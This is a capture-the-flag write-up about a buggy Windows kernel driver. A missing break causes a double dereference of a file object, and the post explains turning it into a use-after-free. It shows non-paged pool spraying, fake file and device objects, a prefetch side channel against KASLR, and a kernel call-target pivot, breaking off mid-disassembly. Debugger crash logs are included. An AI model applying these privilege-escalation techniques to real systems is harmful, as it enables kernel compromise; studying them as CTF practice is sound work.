some platns need a lot of light, so they will grow best near widnows.
I have built a fun little driver that shows you information about files in Windows. Perhaps it can also show you the flag?
Connect to the remote instance using SSH. You get access to an interactive shell on a Windows Server 2025 Core installation with the driver installed and running. You can use SFTP to upload files to the machine as well.
The flag is stored in raw ASCII Text on the disk device "?\PhysicalDrive1". There is no filesystem, the first physical sector contains the flag. You need to escalate privileges to be able to read from raw disk devices (must be NT AUTHORITY\SYSTEM or in the Administrators group). For your convenience, there is also a readflag program at C:\Windows\ReadFlag.exe that reads the first sector and writes it to stdout. It does not give you any special privileges, it's just there to pass the correct parameters for opening the physical disk, since that's hard to do from cmd / powershell.
The handout only contains the sources for the driver and ReadFlag. The full VM image and qemu startscript for local testing can be downloaded here. The files are large (14GB), you should look at the driver source first :) In the VM image that you download you can log into the administrator account using the password Password123!, this is disabled on remote.
Disclaimer: I did use ChatGPT to help me solve this challenge (although only through web interface, no codex), since I'm too Linux pilled and Windows makes no sense. My usage was mostly just asking ChatGPT to write me boilerplate code to interact with Windows and looking for interesting blog posts. I did not use AI to write this blog post.
Another Windows kernel challenge :P! Again the vulnerability is pretty simple, but exploitation ends up being pretty complicated. This time the vulnerability is introduced by a buggy custom kernel driver called FileUtility. The driver is very simple, all it does is take an input HANDLE to a file and writes information about the file back to userland. Heres the source code, see if you can spot the bug:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367
// Based off of `sioctl.c` driver example in the WDK
//
// Include files.
//
#include <ntddk.h> // various NT definitions
#include <string.h>
#include "interface.h"
#define DRIVER_FUNC_INSTALL 0x01
#define DRIVER_FUNC_REMOVE 0x02
#define DRIVER_NAME "FileUtilityDriver"
#define NT_DEVICE_NAME L"\\Device\\FileUtility"
#define DOS_DEVICE_NAME L"\\DosDevices\\FileUtility"
#if DBG
#define FILEUTIL_KDPRINT(_x_) \
DbgPrint("FileUtil: ");\
DbgPrint _x_;
#else
#define FILEUTIL_KDPRINT(_x_)
#endif
//
// Device driver routine declarations.
//
DRIVER_INITIALIZE DriverEntry;
_Dispatch_type_(IRP_MJ_CREATE)
_Dispatch_type_(IRP_MJ_CLOSE)
DRIVER_DISPATCH FileUtilityCreateClose;
_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH FileUtilityDeviceControl;
DRIVER_UNLOAD FileUtilityUnloadDriver;
VOID
PrintIrpInfo(
PIRP Irp
);
VOID
PrintChars(
_In_reads_(CountChars) PCHAR BufferAddress,
_In_ size_t CountChars
);
#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, FileUtilityCreateClose)
#pragma alloc_text( PAGE, FileUtilityDeviceControl)
#pragma alloc_text( PAGE, FileUtilityUnloadDriver)
#pragma alloc_text( PAGE, PrintIrpInfo)
#pragma alloc_text( PAGE, PrintChars)
#endif // ALLOC_PRAGMA
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
/*++
Routine Description:
This routine is called by the Operating System to initialize the driver.
It creates the device object, fills in the dispatch entry points and
completes the initialization.
Arguments:
DriverObject - a pointer to the object that represents this device
driver.
RegistryPath - a pointer to our Services key in the registry.
Return Value:
STATUS_SUCCESS if initialized; an error otherwise.
--*/
{
NTSTATUS ntStatus;
UNICODE_STRING ntUnicodeString; // NT Device Name "\Device\FileUtility"
UNICODE_STRING ntWin32NameString; // Win32 Name "\DosDevices\FileUtility"
PDEVICE_OBJECT deviceObject = NULL; // ptr to device object
UNREFERENCED_PARAMETER(RegistryPath);
RtlInitUnicodeString(&ntUnicodeString, NT_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&ntUnicodeString, // Device name "\Device\FileUtility"
FILE_DEVICE_UNKNOWN, // Device type
FILE_DEVICE_SECURE_OPEN, // Device characteristics
FALSE, // Not an exclusive device
&deviceObject); // Returned ptr to Device Object
if (!NT_SUCCESS(ntStatus))
{
FILEUTIL_KDPRINT(("Couldn't create the device object\n"));
return ntStatus;
}
//
// Initialize the driver object with this driver's entry points.
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FileUtilityDeviceControl;
DriverObject->DriverUnload = FileUtilityUnloadDriver;
//
// Initialize a Unicode String containing the Win32 name
// for our device.
//
RtlInitUnicodeString(&ntWin32NameString, DOS_DEVICE_NAME);
//
// Create a symbolic link between our device name and the Win32 name
//
ntStatus = IoCreateSymbolicLink(
&ntWin32NameString, &ntUnicodeString);
if (!NT_SUCCESS(ntStatus))
{
//
// Delete everything that this routine has allocated.
//
FILEUTIL_KDPRINT(("Couldn't create symbolic link\n"));
IoDeleteDevice(deviceObject);
}
return ntStatus;
}
NTSTATUS
FileUtilityCreateClose(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++
Routine Description:
This routine is called by the I/O system when the FILEUTIL is opened or
closed.
No action is performed other than completing the request successfully.
Arguments:
DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.
Irp - a pointer to the I/O Request Packet for this request.
Return Value:
NT status code
--*/
{
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID
FileUtilityUnloadDriver(
_In_ PDRIVER_OBJECT DriverObject
)
/*++
Routine Description:
This routine is called by the I/O system to unload the driver.
Any resources previously allocated must be freed.
Arguments:
DriverObject - a pointer to the object that represents our driver.
Return Value:
None
--*/
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniWin32NameString;
PAGED_CODE();
//
// Create counted string version of our Win32 device name.
//
RtlInitUnicodeString(&uniWin32NameString, DOS_DEVICE_NAME);
//
// Delete the link from our device name to a name in the Win32 namespace.
//
IoDeleteSymbolicLink(&uniWin32NameString);
if (deviceObject != NULL)
{
IoDeleteDevice(deviceObject);
}
}
NTSTATUS
FileUtilityDeviceControl(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++
Routine Description:
This routine is called by the I/O system to perform a device I/O
control function.
Arguments:
DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.
Irp - a pointer to the I/O Request Packet for this request.
Return Value:
NT status code
--*/
{
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
irpSp = IoGetCurrentIrpStackLocation(Irp);
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
// OutputBuffer must be present and point to userspace, size needs to be checked by each handler individually to match the desired struct
if (!Irp->UserBuffer || (INT64)Irp->UserBuffer < 0) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
// We know that InputBuffer is a file handle for all handlers. Fetch the actual object now
if (inBufLength) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
HANDLE fileHandle = (HANDLE)irpSp->Parameters.DeviceIoControl.Type3InputBuffer;
PFILE_OBJECT fileObject;
ntStatus = ObReferenceObjectByHandle(fileHandle, FILE_READ_ACCESS, *IoFileObjectType, UserMode, (PVOID*)&fileObject, NULL);
if (!NT_SUCCESS(ntStatus)) goto End;
#define CHECK_AND_CAST_OUTPUT(name, type) \
if (outBufLength != sizeof(type)) { \
ntStatus = STATUS_INFO_LENGTH_MISMATCH; \
ObDereferenceObject(fileHandle); \
goto End; \
} \
type* name = (type*) Irp->UserBuffer; \
memset(name, 0, sizeof(type))
//
// Determine which I/O control code was specified.
//
switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);
info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;
ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);
info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
The bug is in the switch statement for the DeviceControl handler. The first case is missing the terminating break statement and falls through into the second case, providing a double deref on the specified fileObject.
312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354
switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);
info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;
ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);
info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}
#Windows Kernel DebuggingI have only had very basic experience with Windows Kernel debugging, from my work on Lokaltal (another Windows Kernel challenge from the same author). The easiest setup for a Linux host is to setup two Windows VMs. One of the VMs is the challenge VM and the other is needs to run WinDBG.
The first step is to import the challenge VM into VMWare. Take the provided qcow2 rootfs and converting to vmdk with qemu-img convert -f qcow2 -O vmdk rootfs.qcow2 rootfs.vmdk
Typical setupI will install the operating system laterWindows for the guest operating system and Windows 10 x64 for the versionHard Disk, NVMe, from our existing rootfs.vmdkFor my system I have to make sure to start the VMWare networking service or networking won't work at all.
For the WinDBG VM I grabbed a Windows 10 iso from https://www.microsoft.com/en-us/software-download/windows10ISO. The VM setup installations are basically the same, except instead of choosing I will install the operating system later select the downloaded iso file. When prompted for the windows edition choose Windows Home. For the disk its necessary to have an actual disk this time, I chose 24 GB since 16 GB seems to be the absolute minimum and I wanted extra space for WinDBG/tools and pdb downloads. It's also a good idea to change the resource defaults for this machine, I bumped the memory up to 3 GB and cpu cores to 2.
Once the VMs are setup I used the same network debugging setup from Lokaltal. Using the admin creds for the challenge machine network debuggin can be enabled:
To grab the WinDBG VM ip I launched powershell and ran ipconfig. The challenge VM was assigned the ip 172.16.60.132 and the WinDBG VM got 172.16.60.133. These ips are stable and don't change at all which is nice. I wrote the key that the final bcdedit command generates to a file and then scp'd it back to my host machine. This key is necessary to connect to the challenge VM from WinDBG.
It's useful to have the windows ntoskrnl.exe binary for analysis and I scp'd it from the challenge VM: sshpass -p Password123_ scp -q lowpriv@172.16.60.132:'C:/Windows/System32/ntoskrnl.exe' .. Without direct ssh access it would be possible to either set up a VMWare shared folder or mount the rootfs and extract the file directly. To get the pdb file I relied on WinDBG to download the proper file.
lm m ntpython -m http.server.In order for binja to pick up pdb files automatically it needs to be the same name as the exe file, so in this case ntkrnlmp.pdb needs to be renamed to ntoskrnl.pdb to match ntoskrnl.exe.
One of the things that takes getting used to in WinDBG is how they print addresses and that all numbers are assumed to be hex.
#Useful WinDBG Commandsg
Continues execution, similar to continue for gdb.
t
Steps one instruction, stepping into calls. Similar to stepi for gdb.
dt [type] [filter]*
Prints type info
dt [type] [addr] [filter]*
Prints type applied to the resulting address of evaluating [expr]
You can also filter for relevant fields. Plus filtering accepts * wildcards.
eb, ew, ed, eq
Commands for editing memory.
For example, eb [addr] [val] writes a single byte [val] to [addr].
db, dw, dd, dq
Commands for dumping memory.
qwo, dwo, poi
Functions for dumping memory, can be used in expressions.
Qword, dword, pointer.
For example: qwo(@rcx) == 0.
dq [addr] [count]?
Similar to tele for gdb. Count can be L[count] to customize amount shown.
u [addr] [count]?
Disassembles code at [addr]. Count can be L[count] to number of instructions.
bp [addr] "command"?
Sets a breakpoint at addr. Optionally accepts a string command that is evaluated when the breakpoint is hit. With this its possible to collection information and optionally continue after hitting the breakpoint.
For example, bp ExAllocatePool2 ".if (@rcx == 0x40) { .printf \"Breakpoint hit!\" } .else { gc }".
Or bp ExAllocatePool2 ".printf \"Size: %d\", @rcx; gc".
bl
Lists breakpoints.
bc [id]+
Clears breakpoint.
bd [id]+
Disables breakpoint.
be [id]+
Enabled breakpoint.
!pte [vaddr]
Show page table information about a virtual address.
!process
Process information. I commonly use !process 0 1 [name] to search for processes.
The first argument is the process selector, -1 is current process and 0 is all.
The second argument is the verbosity level, 0 prints minimal info, 1 prints all the process info, 2 will show process and thread info.
.process [addr]
Change the implicit process to the one described by the _EPROCESS structure at [addr].
.thread [addr]
Change the implicit thread to the one described by the _ETHREAD structure at [addr]
!address [addr]?
Show information about an address, similar to xinfo in gdb.
Without any arguments it behaves similar to vmmap/pagewalk.
!pool [addr]
Get information about what heap pool an object resides in and adjacent objects in the same page.
!object [addr]
Show information about a Windows Object, needs to have a _OBJECT_HEADER.
!handle [id]
Dump information about a HANDLE for the current process.
!fileobj [addr]
Show information about a Windows _FILE_OBJECT.
#Debugging tricksOne really nice thing about WinDBG is that it will pick up int3 breakpoints in userland code, which is great for debugging userland exploit code.
Sometimes it is difficult to remember which int3 breakpoint I've hit in the code, especially after liberally sprinkling them all over my exploit and commenting/uncommenting them. I've found it helpful to differentiate them by placing some marker after them, usually just nop instructions.
#define BP(n) asm volatile("int3; .rept " #n "; nop; .endr")
This macro inserts n nops after the int3 to make it recognizable in the debugger. It doesn't scale well but it's easy to switch to some other recognizable sequence.
For cross compilation I use zig version 0.13.0. Why 0.13.0 specifically ? Because I don't like the newer zig version changes :P.
For code completion for Windows headers I use the vscode clangd plugin with a customized .clangd file:
You should always make snapshots of the challenge VM to avoid wasting time waiting for the VM to boot and just go directly to a clean state. This also has an added benefit of effectively disabling KASLR since the kernel will be at the same place every time.
#ExplorationWith a double deref bug, the obvious path is to keep a reference to the refcounted object somewhere in the kernel, then uaf it using the double deref it. I first asked GPT for ways to hold a reference to file objects in the kernel, and it recommended using DuplicateHandle. My first attempt was something like this:
However when I actually tried this I would get a kernel BugCheck on step #4. After a bit of investigation with GPT I found out that Windows _OBJECT has two reference counts, HandleCount and PointerCount, and _FILE_OBJECT inherits _OBJECT through a shared _OBJECT_HEADER. Calling ObDereferenceObject decrements the PointerCount but not the HandleCount, and when PointerCount hits zero the kernel BugChecks if HandleCount is non zero.
While it would be nice to keep a reference to the uafed file through a stale HANDLE, I didn't really see any way around this check. So I asked GPT for ways to keep pointer references to the file object instead of handle references and it suggested using CreateFileMappingW. The new plan is:
Here I'll show how I debugged the reference counts. In Windows the HANDLE type is opaque, but its actually just an integer like file descriptors in Linux. You can just cast them directly or use the HandleToLong macro. In my exploit I would print the victim file handle, then look it up in WinDBG. When you hit int3 breakpoints in userland code it will set the implicit process and thread to the one that triggered the breakpoint, so no manual switching is needed.
After CreateFile:
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750 GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750 Type: (ffffd08f24ab64e0) File
ObjectHeader: ffffd08f28392720 (new version)
HandleCount: 1 PointerCount: 1
Directory Object: 00000000 Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}
After CreateFileMapping:
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750 GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750 Type: (ffffd08f24ab64e0) File
ObjectHeader: ffffd08f28392720 (new version)
HandleCount: 1 PointerCount: 32765
Directory Object: 00000000 Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}
kd> !trueref ffffd08f28392750
ffffd08f28392750: HandleCount: 1 PointerCount: 32765 RealPointerCount: 3
After triggering FileUtility bug twice:
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750 GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750 Type: (ffffd08f24ab64e0) File
ObjectHeader: ffffd08f28392720 (new version)
HandleCount: 1 PointerCount: 32761
Directory Object: 00000000 Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}
kd> !trueref ffffd08f28392750
ffffd08f28392750: HandleCount: 1 PointerCount: 32761 RealPointerCount: 1
After CloseHandle:
kd> !handle 0000000000004154
4154: free handle, Entry address ffff93819a1f1550, Next Entry ffff93819a1f1570
kd> !pool ffffd08f28392750
Pool page ffffd08f28392750 region is Nonpaged pool
ffffd08f28392090 size: 190 previous size: 0 (Allocated) IoSB Process: ffffd08f281813c0
ffffd08f28392220 size: 190 previous size: 0 (Allocated) IoSB Process: ffffd08f281813c0
ffffd08f283923b0 size: 190 previous size: 0 (Allocated) File
ffffd08f28392540 size: 190 previous size: 0 (Allocated) File
*ffffd08f283926d0 size: 190 previous size: 0 (Allocated) *IoSB Process: ffffd08f281813c0
Pooltag IoSB : Io system buffer, Binary : nt!io
ffffd08f28392860 size: 190 previous size: 0 (Allocated) IoSB Process: ffffd08f281813c0
ffffd08f283929f0 size: 190 previous size: 0 (Allocated) File
ffffd08f28392b80 size: 190 previous size: 0 (Allocated) IoSB Process: ffffd08f281813c0
ffffd08f28392d10 size: 190 previous size: 0 (Allocated) File
In this case I've already reclaimed the freed file object chunk, but otherwise you would see that the file is considered to be free. It also tells us that the object is in the non paged pool, which affects the heap spraying primitives available to us.
#ExploitationNow there are a few options available. Without any direct HANDLE references it is difficult to abuse directly. I considered:
Option #1 is difficult because the object needs to be the same size and I'm not really familiar with exploitable Windows objects. Also file objects are a special kind of Windows object that has a variable sized header and fixed size object header, which limits the possible objects to reclaim with. Option #2 seemed like a good lead, GPT claimed that Windows doesn't do any extra permission checks past CreateFile and linked blog posts (1, 2) that reference corrupting a files in memory page cache. But eventually I decided not to explore either of these options because I simply didn't know that much about Windows internals or what files to target and wanted to solve this challenge quickly.
This left me with Option #3, reclaiming the file object with some sort of heap spray that gives enough control over the object to convert any stale accesses to privilege escalation. For Lokaltal the target object was in the paged pool and I used WNF spraying combined with pipe attribute spraying to reclaim the chunk, but now the object is in the non paged pool. I asked GPT to find writeups about spraying the non paged pool and one of the results was this: https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md. It describes how to spray arbitrary sized chunks with arbitrary data and without any structure headers in the non paged pool using unbuffered pipe entries, which is a pretty sweet heap spraying technique for exploitation.
CreateFileMapping doesn't actually map any memory, it just creates a _SECTION object and returns a HANDLE. In order to map the file in memory we have to use NtFsMapViewOfSection (essentially equivalent to mmap). Remember that this section handle still holds a stale reference to the freed file somewhere, which we now need to abuse. Although it turns out that NtFsMapViewOfSection doesn't seem to use the file object at all, I reclaimed the file object with a chunk filled with Z and the syscall still completed successfully. Luckily for us, operating systems are pretty lazy, when you ask them to map some memory they will almost always just map the zero page and lazily commit the real pages when the page is faulted. We can test this by just accessing the memory mapped by NtFsMapViewOfSection.
Access violation - code c0000005 (!!! second chance !!!)
nt!IoGetRelatedDeviceObject+0x5e:
fffff802`88760eae 488b4008 mov rax,qword ptr [rax+8]
kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 fffffb06`cf3c6808 fffff802`88760999 : fffffb06`cf3c6900 ffffe170`80761fe0 ffffd08f`281847c0 ffffd08f`28184880 : nt!IoGetRelatedDeviceObject+0x5e
01 fffffb06`cf3c6810 fffff802`88695abe : 00000000`00000001 fffffb06`cf3c6900 ffffd08f`24a60560 ffffd08f`24a60520 : nt!IoPageReadEx+0x79
02 fffffb06`cf3c6870 fffff802`886948bd : 00000000`00000000 00000000`00000002 00000000`00000001 00000000`00000000 : nt!MiIssueHardFaultIo+0x1ba
03 fffffb06`cf3c68c0 fffff802`886fd17a : ffff8000`00000000 000001d8`7f970000 00000000`c0033333 ffff9381`944f3af0 : nt!MiIssueHardFault+0x251
04 fffffb06`cf3c6970 fffff802`88a813cb : 00000000`1decc000 00000000`00004154 0000008c`26fff180 00000000`00000000 : nt!MmAccessFault+0x46a
05 fffffb06`cf3c6ae0 00000000`006cddb0 : 00000000`00004154 000001d8`7f640080 7fffffff`fffffffc 000001d8`7f73531a : nt!KiPageFault+0x38b (TrapFrame @ fffffb06`cf3c6ae0)
06 0000008c`26fff110 00000000`00004154 : 000001d8`7f640080 7fffffff`fffffffc 000001d8`7f73531a 0000008c`26fff16d : 0x6cddb0
07 0000008c`26fff118 000001d8`7f640080 : 7fffffff`fffffffc 000001d8`7f73531a 0000008c`26fff16d 00000000`00000003 : 0x4154
08 0000008c`26fff120 7fffffff`fffffffc : 000001d8`7f73531a 0000008c`26fff16d 00000000`00000003 0000008c`26fff180 : 0x000001d8`7f640080
09 0000008c`26fff128 000001d8`7f73531a : 0000008c`26fff16d 00000000`00000003 0000008c`26fff180 00000000`00000000 : 0x7fffffff`fffffffc
0a 0000008c`26fff130 0000008c`26fff16d : 00000000`00000003 0000008c`26fff180 00000000`00000000 00007ff8`be877f01 : 0x000001d8`7f73531a
0b 0000008c`26fff138 00000000`00000003 : 0000008c`26fff180 00000000`00000000 00007ff8`be877f01 000001d8`7f737fd0 : 0x0000008c`26fff16d
0c 0000008c`26fff140 0000008c`26fff180 : 00000000`00000000 00007ff8`be877f01 000001d8`7f737fd0 00000000`00000034 : 0x3
0d 0000008c`26fff148 00000000`00000000 : 00007ff8`be877f01 000001d8`7f737fd0 00000000`00000034 000101f8`00000001 : 0x0000008c`26fff180
kd> ? @rax
Evaluate expression: 6510615555426900570 = 5a5a5a5a`5a5a5a5a
Finally a kernel crash :D. This confirms the lazy file mapping theory.
I'll skip the boring reverse engineering details, but basically since the crash is accessing an address that is derived from our fake file content and the exact stack trace is available, we end up here:
Crashing while the kernel attempts to find the device object from our fake file object. Faking the device object as well leads to this:
Access violation - code c0000005 (!!! second chance !!!)
nt!IopfCallDriver+0x4e:
fffff802`887613ce 4a8b44c970 mov rax,qword ptr [rcx+r9*8+70h]
kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 fffffb06`cf4c37a0 fffff802`88761353 : ffffd08f`28247480 ffffe100`e5589900 00000000`00000043 ffffd08f`24a60304 : nt!IopfCallDriver+0x4e
01 fffffb06`cf4c37e0 fffff802`88760be6 : ffffd08f`28247080 ffffd08f`24a60450 00000001`00000000 ffffd08f`28247540 : nt!IofCallDriver+0x13
02 fffffb06`cf4c3810 fffff802`88695abe : 00000000`00000001 fffffb06`cf4c3900 ffffd08f`24a603a0 ffffd08f`24a60360 : nt!IoPageReadEx+0x2c6
03 fffffb06`cf4c3870 fffff802`886948bd : 00000000`00000000 00000000`00000002 00000000`00000001 00000000`00000000 : nt!MiIssueHardFaultIo+0x1ba
04 fffffb06`cf4c38c0 fffff802`886fd17a : ffff8000`00000000 000001ca`b1330000 00000000`c0033333 ffff9381`9479c110 : nt!MiIssueHardFault+0x251
05 fffffb06`cf4c3970 fffff802`88a813cb : 00000000`5bb98300 00000000`00004154 00000049`131ff200 00007ff8`bd753240 : nt!MmAccessFault+0x46a
06 fffffb06`cf4c3ae0 00000000`006eddf0 : 00000000`00004154 000001ca`b11e0080 7fffffff`fffffffc 000001ca`b139531a : nt!KiPageFault+0x38b (TrapFrame @ fffffb06`cf4c3ae0)
07 00000049`131ff010 00000000`00004154 : 000001ca`b11e0080 7fffffff`fffffffc 000001ca`b139531a 00000049`131ff080 : 0x6eddf0
08 00000049`131ff018 000001ca`b11e0080 : 7fffffff`fffffffc 000001ca`b139531a 00000049`131ff080 00000000`00000003 : 0x4154
09 00000049`131ff020 7fffffff`fffffffc : 000001ca`b139531a 00000049`131ff080 00000000`00000003 00000049`131ff200 : 0x000001ca`b11e0080
0a 00000049`131ff028 000001ca`b139531a : 00000049`131ff080 00000000`00000003 00000049`131ff200 00000000`00000000 : 0x7fffffff`fffffffc
0b 00000049`131ff030 00000049`131ff080 : 00000000`00000003 00000049`131ff200 00000000`00000000 000001ca`b12d0000 : 0x000001ca`b139531a
0c 00000049`131ff038 00000000`00000003 : 00000049`131ff200 00000000`00000000 000001ca`b12d0000 000001ca`b1397fd0 : 0x00000049`131ff080
0d 00000049`131ff040 00000049`131ff200 : 00000000`00000000 000001ca`b12d0000 000001ca`b1397fd0 00000000`00000050 : 0x3
0e 00000049`131ff048 00000000`00000000 : 000001ca`b12d0000 000001ca`b1397fd0 00000000`00000050 00000001`000c0000 : 0x00000049`131ff200
kd> ? @rcx
Evaluate expression: 4846791580151137091 = 43434343`43434343
Now the crash is at a much more interesting location:
An arbitrary function call from our controlled device object! Now I should mention that all of the payloads up to this point were stored in normal userland stack memory, because Windows doesn't use SMAP. Taking a look at cr4 we can see that the SMAP and SMEP bits are set, but SMAP is disabled because the AC flag is set.
We can't just run a ring 0 shellcode payload from userland because SMEP is enabled and KVA shadowing is enabled (Windows version of KPTI), which also sets the NX bit for the top level page table entry that controls userland mappings in the kernel page table. Unfortunately Windows does have KASLR and none of the NtQuerySystemInformation kernel leaks I had GPT write seemed to work. All is not lost however, since the kernel is running through KVM we can take advantage of hardware side channel attacks to leak the kernel base.
I had GPT find blog posts related to performing prefetch side channels on Windows, with these two being the most useful:
This blog post also mentions that the Windows kernel is randomized with an alignment of 2 MB when the system has more than 2 GB of memory because it will use large pages. The challenge VM has exactly 2 GB of memory, so no large pages for us :(. Through some empirical testing (rebooting the challenge VM over and over again) I found that the kernel is mapped at an alignment of 16 bits with 19 bits of randomness, in the range 0xfffff80000000000 to 0xfffff80800000000. Since KVA shadowing is enabled the only part of the kernel actually mapped in this range in the user page tables is the syscall entrypoint. The exact offset from the kernel base can be found by reading MSR_LSTAR:
kd> rdmsr 0xc0000082
msr[c0000082] = fffff802`88f83200
kd> lm m nt
Browse full module list
start end module name
fffff802`883d0000 fffff802`89820000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\B65A1E5D9D57D828E82F8C75F19E98571\ntkrnlmp.pdb
kd> ? fffff802`88f83200-fffff802`883d0000
Evaluate expression: 12268032 = 00000000`00bb3200
There are also two other pages that are mapped before the LSTAR page in the user page tables. So the prefetch scanning ends up being:
0xfffff80000000000 to 0xfffff80800000000 at 0x10000 increments, taking note of any mapped candidatesWhile this code is fast and stable for me, it depends on the exact processor and might have taken more work to replicate on remote. Since we're upsolving and remote is down we don't have the chance to test if this would have also been stable on remote.
With our newly acquired KASLR leak we can convert our RIP control into something more useful. The decomp of IopfCallDriver shows that the first argument is a pointer to the device object that we control. At first I looked at https://jle-k.com/blog/Exploiting+CVE-2026-21241 which mentions using the Rtl(Set|Clear)Bit(s) functions in the kernel to privesc, but the structure of the device object ends up making them unusable. Eventually while doom scrolling ntoskrnl.exe in binja, I came across this function:
int64_t __longjmp_internal(int64_t* arg1, int64_t arg2)
sub rsp, 0x48
test rdx, rdx
jne 0x14069ceec
inc rdx
xor r10, r10 {0x0}
cmp qword [rcx], r10
jne 0x14069cf82
lfence
mov rax, rdx
mov rbx, qword [rcx+0x8]
